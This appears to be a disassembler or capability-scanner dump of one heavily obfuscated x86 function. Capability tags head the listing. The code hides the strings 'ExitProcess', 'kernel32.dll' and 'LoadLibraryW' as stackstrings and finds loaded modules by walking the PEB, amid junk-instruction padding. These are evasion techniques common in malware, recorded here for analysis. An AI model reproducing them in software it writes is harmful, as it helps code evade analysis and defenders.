Function at 0x6c4d9f
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop ebx
mov eax, dword [ebp - 0x152c]
add eax, 0x138
imul ecx, dword [ebp - 0x1528], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x1528], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x1528]
mov dword [ebp - 0x1d28], eax
mov eax, dword [ebp - 0x1d28]
mov dword [ebp - 0x1d30], eax
mov ecx, dword [ebp - 0x1d2c]
cmp ecx, dword [ebp - 0x1d30]
jae 0x6c0dcc
mov dword [ebp - 0x149c], 1
jmp 0x6c0dd6
mov dword [ebp - 0x149c], 0
mov dl, byte [ebp - 0x149c]
mov byte [ebp - 0x382], dl
movzx eax, byte [ebp - 0x382]
test eax, eax
je 0x6c3e49
push eax
push eax
add esp, 4
and eax, 0x182c7
pop eax
push ebx
xor ebx, 0x16c67
and ebx, 0x7bfa
or ebx, 0x128c3
pop ebx
push ecx
push ebx
add esp, 4
and ecx, 0x12efd
sub ecx, 0x185b8
pop ecx
push eax
sub eax, 0x25f1
add eax, 0x13aa1
pop eax
push ebx
push ecx
add esp, 4
sub ebx, 0x166a8
sub ebx, 0x6669
pop ebx
push ecx
push edi
add esp, 4
or ecx, 0x7a46
sub ecx, 0xc76c
pop ecx
mov ecx, dword [ebp - 0x30]
add ecx, 0x138
imul edx, dword [ebp - 0x2c], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x2c], 0x138
sub edx, eax
xor ecx, edx
imul ecx, dword [ebp - 0x2c]
mov dword [ebp - 0x1d34], ecx
mov ecx, dword [ebp - 0x1d34]
mov dword [ebp - 0x1d38], ecx
cmp dword [ebp - 0x1d38], 0x63c1
jne 0x6c0fd0
push ebx
call 0x6c0eac
add byte [0x4d404e4a], bh
aaa
cmp byte [edi], dh
xor eax, dword [ebx - 0x3c7efb3c]
into
retf 0
push esi
push edx
add esp, 4
xor esi, 0xb0d8
pop esi
push ecx
sub ecx, 0x5b9b
xor ecx, 0xa508
call 0x6c0ff8
add byte [ebp + 0x4f], al
cmp cl, byte [ecx + 0x32]
inc ecx
dec ecx
inc ebx
add esp, 4
or ecx, 0x8aa6
pop ecx
mov eax, dword [ebp - 0x14]
add eax, 0x138
imul ecx, dword [ebp - 0x10], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0x10], 0x138
sub ecx, edx
xor eax, ecx
imul eax, dword [ebp - 0x10]
mov dword [ebp - 0x1d48], eax
mov eax, dword [ebp - 0x1d48]
mov dword [ebp - 0x1db8], eax
lea ecx, [ebp - 0x928]
mov dword [ebp - 0x3bc], ecx
mov edx, dword [ebp - 0x3bc]
mov dword [edx + 4], 1
push ecx
jmp 0x6c105a
pop ecx
push edx
or edx, 0x5c39
and edx, 0xc83a
xor edx, 0xa61a
and edx, 0x28ac
pop edx
push edx
add edx, 0x1382e
and edx, 0x13834
pop edx
mov eax, dword [ebp - 0x3bc]
imul ecx, dword [eax + 4], 0x138
add ecx, 0x44f3644b
mov edx, dword [ebp - 0x3bc]
imul eax, dword [edx + 4], 0x138
sub ecx, eax
xor ecx, 0x23
mov edx, dword [ebp - 0x3bc]
imul ecx, dword [edx + 4]
mov eax, dword [ebp - 0x3bc]
imul edx, dword [eax + 4], 0x138
sub ecx, edx
mov eax, dword [ebp - 0x3bc]
mov dword [eax], ecx
mov ecx, dword [ebp - 0x3bc]
mov dword [ebp - 0x1f58], ecx
push edx
and edx, 0x15b21
and edx, 0xcf76
jmp 0x6c10e8
pop edx
push eax
xor eax, 0xbf22
xor eax, 0x15517
call 0x6c1103
add byte [edx + 0x32], cl
inc ecx
inc eax
inc ebx
xor eax, 0x4c4833b
pop eax
mov dword [ebp - 0x14a4], 1
push ebx
push edx
add esp, 4
and ebx, 0x7e3d
pop ebx
push edx
and edx, 0xf6fa
or edx, 0x9521
jmp 0x6c112f
sub edx, 0x10d03
pop edx
push edx
push esi
add esp, 4
jmp 0x6c1142
pop edx
mov dword [ebp - 0x1f5c], 0x38
mov dword [ebp - 0x1f60], 0xe6
mov dword [ebp - 0x1f64], 0x6e
mov dword [ebp - 0x1f68], 0x6e
mov dword [ebp - 0x1f6c], 0x78
mov dword [ebp - 0x1530], 1
push esi
xor esi, 0xf338
or esi, 0xa9c3
sub esi, 0x31f1
pop esi
push edx
or edx, 0x10f6
sub edx, 0x151e1
call 0x6c11ad
add byte [edi + 0x46], cl
inc ebx
cmp byte [edi + 0x41], al
inc ebx
add esp, 4
pop edx
imul edx, dword [ebp - 0x1530], 0x138
add edx, 0x44f3644b
imul eax, dword [ebp - 0x1530], 0x138
sub edx, eax
xor edx, 0xe6
imul edx, dword [ebp - 0x1530]
imul ecx, dword [ebp - 0x1530], 0x138
sub edx, ecx
mov dword [ebp - 0x1534], edx
push eax
jmp 0x6c11f4
pop eax
push edi
push eax
add esp, 4
add edi, 0x17bf6
call 0x6c120e
add byte [eax], bh
inc esi
dec edi
inc ecx
dec ebp
inc edi
inc edi
xor eax, dword [ebx - 0x107efb3c]
inc ebp
adc al, 0
add byte [ecx + 0x14023e7], al
add byte [edi + 0x57], bl
sub edi, 0x12ea6
add edi, 0x67bf
jmp 0x6c1230
jmp 0x6c1237
pop edi
push esi
push ebx
add esp, 4
add esi, 0x9b27
and esi, 0x8f55
sub esi, 0x16317
pop esi
mov edx, dword [ebp - 0x928]
add edx, 0x138
imul eax, dword [ebp - 0x924], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x924], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x924]
mov dword [ebp - 0x1d4c], edx
mov edx, dword [ebp - 0x1d4c]
mov dword [ebp - 0x1d50], edx
mov eax, dword [ebp - 0x1d50]
sub eax, 0x6e
mov dword [ebp - 0x1d54], eax
mov dword [ebp - 0xa08], 1
push esi
push ecx
add esp, 4
sub esi, 0xabc1
pop esi
push edi
and edi, 0x2909
pop edi
push edi
push edx
add esp, 4
xor edi, 0x17362
add edi, 0x14356
or edi, 0xfc01
xor edi, 0xc371
pop edi
imul ecx, dword [ebp - 0xa08], 0x138
add ecx, 0x44f3644b
imul edx, dword [ebp - 0xa08], 0x138
sub ecx, edx
xor ecx, dword [ebp - 0x1d54]
imul ecx, dword [ebp - 0xa08]
imul eax, dword [ebp - 0xa08], 0x138
sub ecx, eax
mov dword [ebp - 0xa0c], ecx
push ebx
jmp 0x6c131f
sub ebx, 0xa7c7
call fcn.006c1334
add byte [ecx + 0x34], al
inc esp
inc edi
dec eax
mov dword [ebp - 0x3c0], 0
call 0x6c3e58
mov eax, 0x13379797
pop eax
mov dword [ebp - 0x3c0], eax
push edx
xor edx, 0xe782
xor edx, 0xc2c
xor edx, 0xba7b
and edx, 0x15518
pop edx
push eax
push edi
add esp, 4
and eax, 0x65c2
or eax, 0xa060
and eax, 0x206
pop eax
mov ecx, dword [ebp - 0x1fa0]
mov dword [ebp - 0x14b8], ecx
push edx
call 0x6c3eb2
add byte [edx], bh
cmp eax, 0x413d474b
inc esp
dec ecx
inc ebp
add esp, 4
xor edx, 0xc35c
pop edx
push edi
and edi, 0x124d8
pop edi
push ebx
and ebx, 0x15f0
pop ebx
push esi
sub esi, 0x571a
pop esi
mov edx, dword [ebp - 0x14]
add edx, 0x138
imul eax, dword [ebp - 0x10], 0x138
add eax, 0x44f3644b
imul ecx, dword [ebp - 0x10], 0x138
sub eax, ecx
xor edx, eax
imul edx, dword [ebp - 0x10]
mov dword [ebp - 0x14b8], edx
mov edx, dword [ebp - 0x3c0]
mov dword [ebp - 0x1ef8], edx
mov eax, dword [ebp - 0x1ef8]
add eax, dword [ebp - 0x14b8]
mov dword [ebp - 0x3c0], eax
push ecx
call 0x6c3f2d
add byte [ecx + 0x3e], al
inc ecx
cmp dword [edi], esi
inc edi
aaa
dec esp
cmp eax, 0x8104c483
int1
rcr byte [eax], 1
add dword [eax], eax
pop ecx
push eax
add eax, 0x8074
jmp 0x6c3f47
xor eax, 0x3239
pop eax
mov byte [ebp - 0xb78], 0x52
mov byte [ebp - 0xb77], 0xb9
mov byte [ebp - 0xb76], 0x10
mov byte [ebp - 0xb75], 0x10
mov byte [ebp - 0xb74], 0x10
mov byte [ebp - 0xb73], 0x10
mov byte [ebp - 0xb72], 0x5a
push eax
push ecx
add esp, 4
or eax, 0x1453a
and eax, 0xed5c
sub eax, 0x16e30
pop eax
push edx
push ebx
add esp, 4
xor edx, 0x4422
sub edx, 0x61cd
jmp 0x6c3fb0
pop edx
mov byte [ebp - 0xb80], 0x52
mov byte [ebp - 0xb7f], 0xb9
mov byte [ebp - 0xb7e], 0x20
mov byte [ebp - 0xb7d], 0x20
mov byte [ebp - 0xb7c], 0x20
mov byte [ebp - 0xb7b], 0x20
mov byte [ebp - 0xb7a], 0x5a
push edx
sub edx, 0x1490f
sub edx, 0xf304
xor edx, 0xff7
pop edx
push edi
and edi, 0x12deb
jmp 0x6c4005
xor edi, 0xdffd
jmp 0x6c4013
pop edi
mov dword [ebp - 0x1fa4], 0xe
push ebx
and ebx, 0x3161
jmp 0x6c402b
and ebx, 0x3ff1
sub ebx, 0x10f5e
pop ebx
push edi
push edi
add esp, 4
xor edi, 0xcae6
or edi, 0xd945
and edi, 0x3727
pop edi
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb78]
mov dword [ebp - 0x14bc], eax
push ebx
push ebx
add esp, 4
call 0x6c4076
add byte [ebx + ecx*2], dh
dec edx
cmp eax, 0x4c4834e
or ebx, 0xc60e
pop ebx
push edx
push edi
add esp, 4
call 0x6c4093
add byte [ebx + eax*2], bh
cmp al, 0x4e
push eax
xor eax, 0x4c48332
pop edx
mov dword [ebp - 0x1fa8], 0xffffffff
push ebx
push edi
add esp, 4
sub ebx, 0x1e4d
pop ebx
push edx
push eax
add esp, 4
and edx, 0xb7c2
and edx, 0x12a33
pop edx
push ebx
jmp 0x6c40c6
pop ebx
push eax
push eax
add esp, 4
or eax, 0x15d35
pop eax
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4cc], ecx
jmp 0x6c40f0
mov edx, dword [ebp - 0x4cc]
add edx, 1
mov dword [ebp - 0x4cc], edx
push edx
xor edx, 0x1854a
xor edx, 0xc80d
sub edx, 0x18357
pop edx
push ecx
push ebx
add esp, 4
or ecx, 0x13a1c
jmp 0x6c4115
add ecx, 0x75b8
or ecx, 0xc8c2
pop ecx
mov eax, dword [ebp - 0x4cc]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x6c416a
push edx
push edi
add esp, 4
call 0x6c4145
add byte [ecx], bh
xor eax, 0x3947494b
inc esp
add esp, 4
call 0x6c4155
add byte [edi + 0x50], al
cmp dl, byte [eax + 0x42]
push eax
xor eax, 0x5a04c483
push ebx
push edi
add esp, 4
or ebx, 0xd83a
pop ebx
jmp 0x6c4398
mov dword [ebp - 0xc08], 7
mov ecx, dword [ebp - 0x4cc]
mov dword [ebp - 0xa68], ecx
push edx
push ecx
add esp, 4
and edx, 0x501f
or edx, 0x14687
xor edx, 0x1ea7
pop edx
push edx
xor edx, 0x7f06
pop edx
push ecx
push eax
add esp, 4
or ecx, 0x1b67
xor ecx, 0x1b97
pop ecx
mov edx, dword [ebp - 0x14bc]
mov dword [ebp - 0xa64], edx
mov dword [ebp - 0xc0c], 0
mov eax, dword [ebp - 0x4cc]
cmp eax, dword [ebp - 0x14bc]
jne 0x6c4219
push esi
push ebx
add esp, 4
add esi, 0x1682e
call 0x6c41f0
add byte [eax + 0x3b], al
cmp edi, dword [0x363b4a3a]
aas
add esp, 4
pop esi
push edi
and edi, 0xb103
and edi, 0xbe85
or edi, 0x18451
pop edi
mov ecx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], ecx
jmp 0x6c434a
cmp dword [ebp - 0xc08], 0
jle 0x6c433e
push ebx
push edi
add esp, 4
add ebx, 0x12bb1
jmp 0x6c4236
call 0x6c4246
add byte [ebx], bh
cmp eax, 0x4b3a353c
cmp dword [eax], edi
inc ebp
inc esp
add esp, 4
pop ebx
push ebx
jmp 0x6c4251
xor ebx, 0x2758
pop ebx
mov edx, dword [ebp - 0xa68]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xa64]
movzx edx, byte [ecx]
cmp eax, edx
je 0x6c42da
push ecx
sub ecx, 0x1e8d
xor ecx, 0x802
jmp 0x6c4282
sub ecx, 0x8e02
pop ecx
push edx
push edx
add esp, 4
jmp 0x6c4293
sub edx, 0x5117
xor edx, 0x7e64
pop edx
mov eax, dword [ebp - 0xa68]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xa64]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x6c42c2
mov dword [ebp - 0x14c0], 1
jmp 0x6c42cc
mov dword [ebp - 0x14c0], 0xffffffff
mov ecx, dword [ebp - 0x14c0]
mov dword [ebp - 0xc0c], ecx
jmp 0x6c433e
push edx
or edx, 0x12e0f
jmp 0x6c42ea
pop edx
push ebx
push edx
add esp, 4
jmp 0x6c42f7
xor ebx, 0x8adb
pop ebx
push edx
jmp 0x6c4305
xor edx, 0xdbdf
pop edx
mov edx, dword [ebp - 0xc08]
sub edx, 1
mov dword [ebp - 0xc08], edx
mov eax, dword [ebp - 0xa68]
add eax, 1
mov dword [ebp - 0xa68], eax
mov ecx, dword [ebp - 0xa64]
add ecx, 1
mov dword [ebp - 0xa64], ecx
jmp 0x6c4219
mov edx, dword [ebp - 0xc0c]
mov dword [ebp - 0x14c4], edx
cmp dword [ebp - 0x14c4], 0
jne 0x6c4393
push eax
or eax, 0x12073
sub eax, 0x15fac
xor eax, 0x142b6
sub eax, 0x1509
pop eax
push ebx
push edx
add esp, 4
xor ebx, 0x6008
add ebx, 0x8d67
xor ebx, 0x15f69
pop ebx
mov eax, dword [ebp - 0x4cc]
mov dword [ebp - 0x3cc], eax
jmp 0x6c43d4
jmp 0x6c40e1
push esi
xor esi, 0x17653
or esi, 0x15c42
sub esi, 0x9480
pop esi
push eax
xor eax, 0x84d3
call 0x6c43c0
add byte [esi + 0x46], cl
cmp eax, 0x3b3c4d34
add esp, 4
sub eax, 0x36c
pop eax
mov dword [ebp - 0x3cc], 0
push edx
or edx, 0x7644
xor edx, 0xae85
and edx, 0x1804d
sub edx, 0x10cf9
pop edx
push eax
push edx
add esp, 4
xor eax, 0x1158d
xor eax, 0x4351
jmp 0x6c4405
pop eax
push edx
jmp 0x6c440c
sub edx, 0x17f3f
jmp 0x6c4418
pop edx
push ecx
add ecx, 0xfdbf
jmp 0x6c4428
xor ecx, 0x103aa
jmp 0x6c4437
pop ecx
mov ecx, 1
imul edx, ecx, 0
lea eax, [ebp + edx - 0xb80]
mov dword [ebp - 0x14c8], eax
push eax
sub eax, 0x11a43
add eax, 0xdbf6
and eax, 0x11255
pop eax
push eax
call 0x6c446e
add byte [ebx], dh
inc edi
xor al, 0x4b
dec edx
inc esp
add esp, 4
jmp 0x6c4478
and eax, 0xd5dd
pop eax
mov dword [ebp - 0x1fac], 0xffffffff
push edx
push eax
add esp, 4
or edx, 0xf513
xor edx, 0x3913
or edx, 0x1bc6
pop edx
push ecx
push ecx
add esp, 4
jmp 0x6c44ad
sub ecx, 0x15e6f
jmp 0x6c44ba
pop ecx
mov ecx, dword [ebp - 0x3c0]
mov dword [ebp - 0x4d0], ecx
jmp 0x6c44d8
mov edx, dword [ebp - 0x4d0]
add edx, 1
mov dword [ebp - 0x4d0], edx
push esi
push eax
add esp, 4
add esi, 0xb907
pop esi
push ecx
push eax
add esp, 4
call 0x6c44f9
add byte [eax + 0x3b], cl
inc edx
cmp dword [edi + 0x44], eax
aaa
inc ebx
dec ebx
add esp, 4
sub ecx, 0x14f89
jmp 0x6c4509
pop ecx
mov eax, dword [ebp - 0x4d0]
sub eax, dword [ebp - 0x3c0]
cmp eax, 0xffffffff
jb 0x6c4552
push ecx
push edi
add esp, 4
or ecx, 0xa3c0
jmp 0x6c452c
pop ecx
push edx
push ebx
add esp, 4
or edx, 0x17736
pop edx
push eax
call 0x6c4549
add byte [esi], bh
dec edx
inc edi
inc edi
inc esp
dec ebx
dec esi
dec ebp
cmp byte [ebx - 0x16a7fb3c], al
add al, byte cs:[eax]
add bh, al
test eax, esi
invalid
mov dword [ebp - 0xc10], 7
mov ecx, dword [ebp - 0x4d0]
mov dword [ebp - 0xa60], ecx
push ebx
push edx
add esp, 4
and ebx, 0x17c65
and ebx, 0x1e1e
xor ebx, 0x75f2
pop ebx
push edx
add edx, 0x642
and edx, 0x14cfd
sub edx, 0x70e6
or edx, 0x15d5c
pop edx
mov edx, dword [ebp - 0x14c8]
mov dword [ebp - 0x9f0], edx
mov dword [ebp - 0xc14], 0
mov eax, dword [ebp - 0x4d0]
cmp eax, dword [ebp - 0x14c8]
jne 0x6c4601
push eax
or eax, 0xb7ab
xor eax, 0xcf87
xor eax, 0xfc08
pop eax
push edi
push edx
add esp, 4
sub edi, 0x59a8
or edi, 0x175e8
xor edi, 0x14410
xor edi, 0x158c2
pop edi
mov ecx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], ecx
jmp 0x6c4732
cmp dword [ebp - 0xc10], 0
jle 0x6c4726
push eax
push edx
add esp, 4
and eax, 0xa669
xor eax, 0x17219
or eax, 0xb658
pop eax
push eax
xor eax, 0x5c09
or eax, 0x6bf4
add eax, 0xd6dd
jmp 0x6c463f
pop eax
mov edx, dword [ebp - 0xa60]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x9f0]
movzx edx, byte [ecx]
cmp eax, edx
je 0x6c46c2
push ecx
push edi
add esp, 4
or ecx, 0x1381
pop ecx
push eax
push eax
add esp, 4
and eax, 0x13c0b
pop eax
push esi
or esi, 0xb62f
or esi, 0x6659
add esi, 0x11f44
xor esi, 0x110b4
pop esi
mov eax, dword [ebp - 0xa60]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x9f0]
movzx eax, byte [edx]
cmp ecx, eax
jle 0x6c46aa
mov dword [ebp - 0x14cc], 1
jmp 0x6c46b4
mov dword [ebp - 0x14cc], 0xffffffff
mov ecx, dword [ebp - 0x14cc]
mov dword [ebp - 0xc14], ecx
jmp 0x6c4726
push eax
push ebx
add esp, 4
call 0x6c46d6
add byte [edi], dh
inc ebp
inc edi
inc ecx
dec ebx
dec eax
xor dh, byte [ebx]
cmp al, 0x83
les eax, [eax + ebx*2]
push ecx
sub ecx, 0xee04
or ecx, 0x174eb
sub ecx, 0xc2b6
and ecx, 0x878f
pop ecx
mov edx, dword [ebp - 0xc10]
sub edx, 1
mov dword [ebp - 0xc10], edx
mov eax, dword [ebp - 0xa60]
add eax, 1
mov dword [ebp - 0xa60], eax
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
jmp 0x6c4601
mov edx, dword [ebp - 0xc14]
mov dword [ebp - 0x14d0], edx
cmp dword [ebp - 0x14d0], 0
jne 0x6c477b
push eax
push edx
add esp, 4
xor eax, 0x9655
xor eax, 0x7168
pop eax
push esi
push edi
add esp, 4
sub esi, 0xd04e
jmp 0x6c4760
and esi, 0xd61f
xor esi, 0x79a
pop esi
mov eax, dword [ebp - 0x4d0]
mov dword [ebp - 0xa5c], eax
jmp 0x6c47bc
jmp 0x6c44c9
push edx
xor edx, 0xca96
sub edx, 0x248
or edx, 0x7182
pop edx
push edi
push ebx
add esp, 4
sub edi, 0x2124
or edi, 0xd939
sub edi, 0xb7c7
and edi, 0x4d76
pop edi
mov byte [ebp - 0x804], 0x45
mov byte [ebp - 0x803], 0x78
mov byte [ebp - 0x802], 0x69
mov byte [ebp - 0x801], 0x74
mov byte [ebp - 0x800], 0x50
mov byte [ebp - 0x7ff], 0x72
mov byte [ebp - 0x7fe], 0x6f
mov byte [ebp - 0x7fd], 0x63
mov byte [ebp - 0x7fc], 0x65
mov byte [ebp - 0x7fb], 0x73
mov byte [ebp - 0x7fa], 0x73
mov byte [ebp - 0x7f9], 0
push edi
push edi
add esp, 4
xor edi, 0x923
call 0x6c485a
add byte [eax + edx*2], bh
xor al, 0x33
aas
inc edx
add esp, 4
sub edi, 0x173a7
pop edi
push edx
jmp 0x6c486d
or edx, 0x2cb6
pop edx
mov ecx, 0x6b
mov word [ebp - 0x1628], cx
mov edx, 0x65
mov word [ebp - 0x1626], dx
mov eax, 0x72
mov word [ebp - 0x1624], ax
mov ecx, 0x6e
mov word [ebp - 0x1622], cx
mov edx, 0x65
mov word [ebp - 0x1620], dx
mov eax, 0x6c
mov word [ebp - 0x161e], ax
mov ecx, 0x33
mov word [ebp - 0x161c], cx
mov edx, 0x32
mov word [ebp - 0x161a], dx
mov eax, 0x2e
mov word [ebp - 0x1618], ax
mov ecx, 0x64
mov word [ebp - 0x1616], cx
mov edx, 0x6c
mov word [ebp - 0x1614], dx
mov eax, 0x6c
mov word [ebp - 0x1612], ax
xor ecx, ecx
mov word [ebp - 0x1610], cx
push edx
push ebx
add esp, 4
sub edx, 0x902
pop edx
push edi
push edx
add esp, 4
add edi, 0x114dc
or edi, 0x3181
pop edi
push esi
push ecx
add esp, 4
jmp 0x6c4938
add esi, 0x3e57
pop esi
push ebx
push ebx
add esp, 4
or ebx, 0x6ccc
jmp 0x6c494f
pop ebx
push ebx
push edx
add esp, 4
jmp 0x6c495c
sub ebx, 0xa310
or ebx, 0x10fab
pop ebx
push eax
or eax, 0x92ad
pop eax
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1890], edx
mov eax, dword [ebp - 0x1890]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1894], ecx
mov edx, dword [ebp - 0x1894]
mov dword [ebp - 0x14d4], edx
push ebx
or ebx, 0xa2e7
xor ebx, 0x3ddb
pop ebx
push edx
push edx
add esp, 4
xor edx, 0x3d2d
or edx, 0xbc5a
call 0x6c49c7
add byte [ecx + 0x4b], al
cmp al, 0x35
xor edi, dword [edi]
inc edx
cmp al, byte [ebx - 0x7ca5fb3c]
mov ebp, 0xffffeb2c
add byte [ebp + 0xf], dh
mov dword [ebp - 0x2e0], 0
jmp 0x6c4c9f
push esi
jmp 0x6c4ca6
or esi, 0xd967
pop esi
push edi
add edi, 0x7d28
jmp 0x6c4cbc
pop edi
push ebx
and ebx, 0x205c
sub ebx, 0xe18f
and ebx, 0x17635
pop ebx
cmp dword [ebp - 0x2e0], 0
jne 0x6c55ea
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ebx
xor ebx, 0x4e2a
jmp 0x6c4d84
sub ebx, 0x16469
pop ebx
push esi
sub esi, 0x12367
call 0x6c4d9f
add byte [edi + 0x3d], cl
xor eax, 0x3b4a363e
add esp, 4
sub esi, 0x568e
pop esi
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push edx
push esi
add esp, 4
call 0x6c4e3d
add byte [ebx], dh
aas
dec eax
dec ebx
inc edi
inc ebx
xor eax, dword [ebx - 0x1d7efb3c]
std
inc ebp
add dword [eax], eax
and edx, 0x9101
pop edx
push edx
or edx, 0x10e36
pop edx
push ebx
and ebx, 0x94d
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x6c4e75
mov dword [ebp - 0x6ec], 0
jmp 0x6c5131
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ecx
xor ecx, 0xf087
sub ecx, 0x4bf8
sub ecx, 0x5a70
jmp 0x6c4ea1
pop ecx
push edx
push eax
add esp, 4
call 0x6c4eb5
add byte [edx + 0x36], cl
xor eax, 0x4037504d
add esp, 4
pop edx
cmp dword [ebp - 0xc2c], 0
jne 0x6c4ed1
mov dword [ebp - 0x6ec], 0
jmp 0x6c5131
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push edx
add edx, 0x1dae
call 0x6c4ef1
add byte [esp + eax*2], dh
inc esp
inc edx
inc edx
dec ebx
xor al, 0x83
les eax, [ecx + eax*4]
adc bl, al
add byte [eax], al
pop edx
push ebx
push ecx
add esp, 4
xor ebx, 0x927e
pop ebx
push esi
sub esi, 0xca70
pop esi
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push edi
push esi
add esp, 4
xor edi, 0x8dfa
pop edi
push eax
and eax, 0x8a16
sub eax, 0xf57
add eax, 0x9978
call 0x6c4f6a
add byte [edi + 0x39], al
inc esi
inc esi
aas
inc ecx
aas
xor al, 0x83
les eax, [eax + ebx*2]
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push edx
push edi
add esp, 4
add edx, 0x8ac7
add edx, 0x14e2d
pop edx
push ebx
push edx
add esp, 4
xor ebx, 0x7640
jmp 0x6c4fed
add ebx, 0x14baf
sub ebx, 0x1274d
pop ebx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x6c501d
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x6c5080
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x6c4f3c
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x6c4f3c
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x6c506a
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x6c5074
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x6c50c9
push ebx
sub ebx, 0xfd8d
and ebx, 0x413
or ebx, 0x70b0
and ebx, 0x29f6
pop ebx
push ecx
push ecx
add esp, 4
and ecx, 0x117f0
and ecx, 0x8200
and ecx, 0x1241d
pop ecx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x6c5131
push edx
call 0x6c50d7
add byte [ebx + 0x44], cl
dec eax
xor edi, dword [0xc483453a]
add al, 0x5a
push esi
push esi
add esp, 4
sub esi, 0x469c
pop esi
push edx
and edx, 0x64a7
add edx, 0x11c2a
sub edx, 0x16c9d
pop edx
mov edx, dword [ebp - 0x4d8]
mov eax, dword [edx]
mov dword [ebp - 0x4d8], eax
mov ecx, dword [ebp - 0x4d8]
cmp ecx, dword [ebp - 0xc2c]
je 0x6c5127
mov edx, dword [ebp - 0x4d8]
cmp dword [edx + 0x30], 0
jne 0x6c4edd
mov dword [ebp - 0x6ec], 0
push esi
xor esi, 0x10727
sub esi, 0x5eb7
pop esi
push ecx
or ecx, 0x5fe3
pop ecx
push ecx
or ecx, 0x16168
call 0x6c515a
add byte [edx], dh
xor eax, 0x333c3635
add esp, 4
jmp 0x6c5162
pop ecx
cmp dword [ebp - 0x6ec], 0
jne 0x6c51ad
push ebx
push ebx
add esp, 4
or ebx, 0xd39d
sub ebx, 0x15428
jmp 0x6c5186
pop ebx
push eax
push eax
add esp, 4
call 0x6c519a
add byte [edi], dh
dec ebp
cmp dword [esp + eax*2], esi
inc ecx
xor esi, dword [0x5804c483]
mov dword [ebp - 0x738], 0
jmp 0x6c5cd4
push eax
xor eax, 0xe21f
sub eax, 0x11ebe
and eax, 0x3ff8
pop eax
push edx
push ecx
add esp, 4
or edx, 0xdb57
and edx, 0x6199
pop edx
push eax
push ecx
add esp, 4
and eax, 0x45c4
pop eax
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
